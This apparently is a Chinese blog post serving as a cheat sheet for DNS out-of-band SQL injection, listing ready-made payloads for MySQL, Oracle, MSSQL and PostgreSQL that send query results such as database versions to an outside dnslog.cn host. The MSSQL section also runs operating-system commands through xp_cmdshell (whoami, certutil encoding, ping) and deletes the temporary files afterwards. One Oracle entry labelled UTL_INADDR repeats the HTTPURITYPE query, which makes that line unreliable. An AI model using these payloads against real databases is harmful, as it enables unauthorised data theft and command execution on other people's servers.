DNS外带数据之SQL注入

注意点

  • dns 查询有长度限制,所以当查询结果数据过长时需要截断
  • 特殊符号,如@,一般先编码后再带出

mysql

条件:

  • Windows
  • mysql.ini 中 secure_file_priv 必须为空,select @@secure_file_priv
  • 适用于联合注入或堆叠注入
    具体:
1
2
3
4
5
利用 mysql (Windows 适用)中的 load_file() 函数
select load_file(concat("\\\\",version(),".1ndex.dnslog.cn//1ndex.txt"));

当查询的数据中有特殊符号时,可使用 hex() 函数外带,数据过长不行
select load_file(concat("\\\\",hex(version()),".qbhqxd.dnslog.cn//1ndex.txt"));

oracle

条件:适用于联合注入或堆叠注入
可用函数:

1
2
3
4
5
6
7
8
9
10
11
● UTL_HTTP.REQUEST()
SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.1ndex.dnslog.cn') FROM sys.DUAL;

● DBMS_LDAP.INIT()
SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.1ndex.dnslog.cn',80) FROM sys.DUAL;

● HTTPURITYPE()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

● UTL_INADDR.GET_HOST_ADDRESS()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

mssql

条件:Windows、适用于堆叠注入

1
2
3
4
5
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"');

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"');
1
2
3
4
5
exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";

exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.dnslog.cn %26%26 ping !FINAL!""";

exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

postgreSQL

条件:Windows、适用于堆叠注入

1
id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.1ndex.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();

开启 db_link 扩展:

1
id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.1ndex.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT);

更新: 2023-04-23 21:40:17
原文: https://www.yuque.com/yuqueyonghuwrqimt/kmabi0/bggpot


DNS外带数据之SQL注入
https://savior-only.github.io/p/699192e7138e41fb9163b0634d1f475f/
作者
savior
发布于
2024年12月24日
更新于
2024年12月26日
许可协议